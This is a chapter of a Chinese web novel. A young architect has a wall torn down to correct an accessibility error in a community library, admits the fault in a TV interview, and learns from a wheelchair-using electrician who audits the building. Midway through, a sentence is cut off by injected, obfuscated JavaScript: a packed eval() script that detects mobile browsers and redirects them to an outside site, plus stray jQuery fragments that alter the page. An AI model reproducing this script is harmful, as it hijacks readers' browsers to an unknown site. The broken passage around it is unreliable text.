拆墙声在清晨七点半准时响起。
电锤撞击混凝土的闷响，像某种沉重的心跳，震得整条走廊都在颤抖。灰尘扬起来，在斜射进走廊的晨光里翻滚，像一场小型的沙暴。
林溪站在警戒线外，看着工人们用墨线在墙上画出拆除范围。那条红线精准地框住了他的错误——1.2米宽，2.4米高，一个即将在墙上凿出的、赤裸裸的伤口。
老陈叼着烟走过来，递给他一个口罩：“戴上。灰大。”
“陈师傅，我……”
“啥也别说。”老陈摆摆手，“干活儿。”
第一个来看的人是街道王主任。他五十多岁，穿着熨烫平整的白衬衫，脸色比衬衫还白。
“小林啊小林，”他拍着手里的工期表，“你这让我怎么跟区里交代？邀请函都发出去了！”
“对不起，王主任。”林溪九十度鞠躬，“是我的失误。我们会用最快速度修复，开放日只推迟四天。”
“四天！”王主任提高音量，“你知道协调区长日程多难吗？媒体档期要改，社区活动要重新安排，还有那些老同志，排练了一个月……”
他的声音在电锤的轰鸣中时断时续。林溪低着头，看着自己沾满灰尘的鞋尖。
“王主任。”顾怀瑾从楼梯走上来，手里拿着一份文件，“这是修改后的开放日方案。我们联系了区电视台，他们愿意把报道做成‘质量把关’专题，突出我们主动纠错的负责任态度。另外，我们事务所会承担所有重新安排的费用。”
王主任接过文件，翻了几页，脸色稍缓：“顾总，不是钱的问题……”
“是安全问题。”顾怀瑾平静地接话，“如果我们今天隐瞒这个错误，未来真有人因此受伤，您和我，都担不起这个责任。”
王主任张了张嘴，最终叹了口气：“行吧……我再去协调。但你们保证，四天，不能再拖。”
“保证。”顾怀瑾说。
主任走后，林溪低声说：“谢谢。”
“不用谢我。”顾怀瑾看着墙上的破洞，“你现在要做的不是道歉或感谢，是把事情做好。”
他顿了顿：“下午两点，电视台来采访。你准备一下。”
林溪猛地抬头：“我？”
“你是设计师，错误是你发现的，决定是你做的。”顾怀瑾转身，“当然是你来解释。”
电锤又响起来。墙皮大块脱落，露出里面的红砖和混凝土。那个洞越来越深，像一个正在张开的口。
---
下午一点五十，林溪在临时清理出的休息区等待。他换了干净衬衫，但头发里还有洗不掉的灰尘味。手里攥着几张便签纸，上面写满了要点，字迹因为紧张而歪斜。
摄像机架起来了，记者是个干练的短发女人。她先采访了王主任，然后走向林溪。
“林设计师，能说说您是怎么发现这个问题的吗？”
镜头对准他的脸。黑洞洞的镜头，像另一扇需要他推开的门。
林溪深吸一口气：“我是在最终检查时发现的。门的内开方向与疏散通道宽度冲突，违反了无障碍设计规范。”
“所以是您自己发现的？不是别人指出？”
“是的。”他说，“我在核对清单时，突然想起规范条文。”
记者眼里闪过一丝惊讶——她大概以为会听到“施工方提醒”或“领导检查发现”之类的套话。
“发现问题后，您第一反应是什么？”
“我……”林溪看向那个墙洞，“我计算了修改成本，考虑过不改的选项，甚至想过用应急预案替代。但最后，我觉得不行。”
“为什么不行？”
“因为建筑设计有个基本原则：安全是底线。”林溪的声音渐渐稳下来，“底线不能碰运气。”
接下来的问题，他都答得清晰：修改方案、工期安排、对社区居民的补偿措施。当记者问“这件事会影响您的职业生涯吗”时，他停顿了一下。
“会。”他说，“但不是负面影响。它教会我两件事：第一，图纸上的每一条线，都连着真实的人。第二，犯错不可怕，可怕的是没有勇气纠正。”
采访结束，记者收起话筒：“林设计师，您很坦诚。通常这种采访，设计师都会强调‘团队决策’。”
“但这确实是我的个人失误。”林溪说，“该认的，得认。”
记者笑了笑：“祝您顺利。”
摄像机撤走了。林溪靠在墙上，衬衫后背已经湿透。
“说得不错。”顾怀瑾不知什么时候出现在旁边，递给他一瓶水，“尤其是‘底线不能碰运气’那句。”
林溪拧开水，一口气喝了半瓶：“您看了？”
“看了直播。”顾怀瑾看了眼手机，“现在网上已经开始讨论了。”
“骂声一片吧。”
“有骂的，也有赞的。”顾怀瑾把手机屏幕转向他。
本地论坛的帖子标题很直接：“年轻设计师失误致图书馆延期，该不该骂？”
下面的回复却意外地多元：
“骂啊！基本功都不扎实！”
“但人家主动承认了，总比那些藏着掖着的强。”
“推迟几天而已，安全重要。”
“我姑姑坐轮椅，最怕这种门。支持改！”
“设计师看着挺年轻，不容易。”
林溪一条条翻看，心里五味杂陈。
“记住这种感觉。”顾怀瑾收回手机，“被放在阳光下审视的感觉。它会让你以后画每一笔时，手更稳。”
墙洞那边传来喊声：“林工！有根管线位置不对，您来看看！”
林溪跑过去。灰尘弥漫中，工人指着一根从墙体斜穿而过的PVC管：“这排水管，原来藏在墙里。现在墙拆了，它露出来了。按新方案，门框要压到这里——管子得改道。”
又是意外。林溪蹲下，用手电照管道走向。是老房子的排污支管，锈迹斑斑。
“能改吗？”他问。
“能，但要切掉重接。这活得找专业水电工，今天来不及了。”
工期又要拖。林溪感到一阵眩晕。
“我来。”一个声音从身后传来。
林溪回头，看见一个陌生男人。三十出头，坐在轮椅上，穿着工装裤，膝盖上放着一个工具包。他皮肤黝黑，手臂肌肉结实，手指关节粗大。
“你是？”林溪站起来。
“周正。顾总让我来的。”男人转动轮椅靠近，抬头看管道，“PVC管，直径75，三通位置在这里……给我图纸。”
林溪递过图纸。周正看了几秒，从工具包里掏出卷尺和马克笔，在墙上画线：“从这里切，新管走这个弧度，坡度保持千分之五。两小时搞定。”
“您是……”
“水电工。也是残疾人。”周正笑了笑，“专门做无障碍改造的。”
他转动轮椅到管道边，从包里拿出割管器。动作熟练得像个外科医生。
工人们围过来看。周正一边切割一边解释：“这种老管道，脆，不能硬掰。要慢慢转，感觉阻力变化……”PVC管在割管器下发出细微的嘎吱声，然后整齐断开。
林溪蹲在他旁边递工具。他注意到周正的轮椅是特制的，座位能升降，扶手可拆卸，方便贴近工作面。
“顾总怎么找到您的？”林溪问。
“你采访里不是说‘图纸上的线连着真实的人’吗？”周正头也不抬，“我就是那个‘人’。我父亲是顾总那个政府项目的评审委员。”
林溪愣住。
“但他让我来，不是因为我父亲。”周正接好一个弯头，用胶水密封，“是因为我真的懂。我在这轮椅上坐了十二年，撞过的门、卡住的坡道、够不着的开关……比你画过的图纸都多。”
他的语气平淡，像在说今天天气不错。
两小时，管道改造完成。周正测试了水流，检查了每个接口，最后在管道上贴了张标签：“2023.9.15改造，检修口在此。”
他收拾工具时，林溪鼓起勇气问：“周师傅，您……能帮我看看其他无障碍设计吗？”
周正抬头看他：“现在？”
“如果您有时间。”
周正笑了笑：“我等的就是你这句话。”
---
接下来的三个小时，周正成了图书馆最严厉的考官。
他用轮椅走遍每个角落，用身体测试每一处设计。
“这个坡道，坡度1:10，符合规范。”他在入口坡道上上下三次，“但拐弯处半径不够，我这种长轮椅转不过来。得扩30公分。”
“洗手池下方空间留了，但水管没有做隔热包覆。冬天热水管会烫到腿。”
“书架间距1.2米，够宽。但最下面那层离地25公分，我弯腰拿书会往前栽。建议改成可升降书架，或者配个取书夹。”
“这个呼叫按钮，高度合适，但按钮太小，我戴手套按不准。要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193481|197102||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
换成大号的，带夜光。”
林溪跟在后面，飞快记录。不只是问题，还有周正给出的解决方案——那些来自真实使用经验的、教科书上没有的细节。
走到儿童区时，周正停在那双小鞋展柜前。他看了很久。
“这个高度，”他说，“刚好是我侄女的眼睛高度。她也是坐轮椅的。”
林溪轻声说：“这是社区一个奶奶的女儿的第一双鞋。”
“我知道。”周正说，“她女儿叫小梅，三岁那年生病，后来也坐了轮椅。前年去世了。”
林溪怔住。
“我认识小梅。她以前常来社区康复站。”周正伸出手，隔着玻璃摸了摸那只鞋，“她说过，最喜欢的地方就是图书馆，因为‘书里的世界没有台阶’。”
空气安静下来。灰尘在斜阳里缓慢漂浮。
“林设计师。”周正转过轮椅，“你犯了个错，但你正在把它变成一件好事。这面墙上的每一件东西，都在说：这里欢迎所有人。”
他顿了顿：“包括那些会犯错的人。”
林溪的鼻子突然一酸。他别过脸，深吸一口气。
“谢谢您，周师傅。”
“不用谢我。”周正转动轮椅，“谢你自己，有勇气拆掉那堵墙。”
他离开后，林溪独自站在走廊里。夕阳从墙洞灌进来，把施工现场照得一片温暖的金色。灰尘还在飞舞，但在光里，它们像细小的、发亮的星屑。
手机震动，顾怀瑾的消息：“周正给我打电话了。他说你的态度很好，愿意学。”
林溪回复：“他教我的，比四年建筑学课本还多。”
“那是因为课本不会坐轮椅。”顾怀瑾回，“明天他会再来，帮你做最终验收。今晚把他说的问题整理出来，明天给我改进方案。”
“是。”
黄昏时分，工人们下班了。林溪拿着卷尺和手电，一个人重新测量周正提出的所有问题点。他在本子上画草图，计算修改成本，思考如何在不影响整体设计的前提下，让这个空间真正“无障碍”。
不是规范意义上的，是人性的意义上的。
晚上八点，他坐在墙洞边的台阶上吃盒饭。灰尘味混着饭菜味，很奇怪，但他吃得很香。
孙伯提着保温桶过来，看见墙洞，愣了愣：“这么大个窟窿……”
“明天就开始补了。”林溪说。
老人点点头，在他旁边坐下：“今天来的那个轮椅师傅，我认识。小周，手艺好，人也好。他女儿就在咱们社区小学上学。”
林溪筷子停住：“他有女儿？”
“有啊，八岁了，健康得很。”孙伯笑了，“小周说，他受伤后最怕的，就是女儿觉得爸爸‘不行’。所以他什么都学，水电、木工、甚至修电脑。他说，要让孩子知道，爸爸只是走路的方式不一样，其他都一样能行。”
林溪看着墙洞。洞的那边，是已经完工的阅览区，书架排列整齐，等待被填满。
“孙伯，”他轻声问，“您觉得……我这房子，建得还行吗？”
老人没有立刻回答。他慢慢喝了口茶，才说：
“房子好不好，不是看墙直不直，砖齐不齐。”他指着墙洞，“是看这墙破了的时候，建房子的人，心是实的还是虚的。”
他站起来，拍拍林溪的肩膀：“你的心，是实的。”
保温桶留在台阶上。林溪打开，是银耳汤，还温着。
他小口小口喝完，然后打开笔记本电脑，开始整理今天的记录。文档标题他改成了：“无障碍设计改进方案——基于真实使用反馈”。
写到凌晨时，他加了一段前言：
“真正的无障碍，不是符合规范条文，是消除每一个‘你不行’的瞬间。这需要设计师放下专业傲慢，去听、去看、去感受那些被设计遗忘的身体。而最好的设计，是让不同的人都能在这里，找到属于自己的、自由的姿势。”
保存，发送。
关掉电脑时，他看见窗外的月亮正好悬在墙洞中央。那个不规则的、粗糙的洞口，此刻像一个画框，框住了一轮完美的圆月。
美得像个隐喻。
他拿出手机，拍下这张照片。没有发给任何人，只是存在相册里，标题设为：“透明的心”。
墙会补好，门会重装，错误会被覆盖。
但月光记得这个洞。
记得曾经有一颗心，愿意拆掉自己筑起的墙，让光——让所有光——照进来。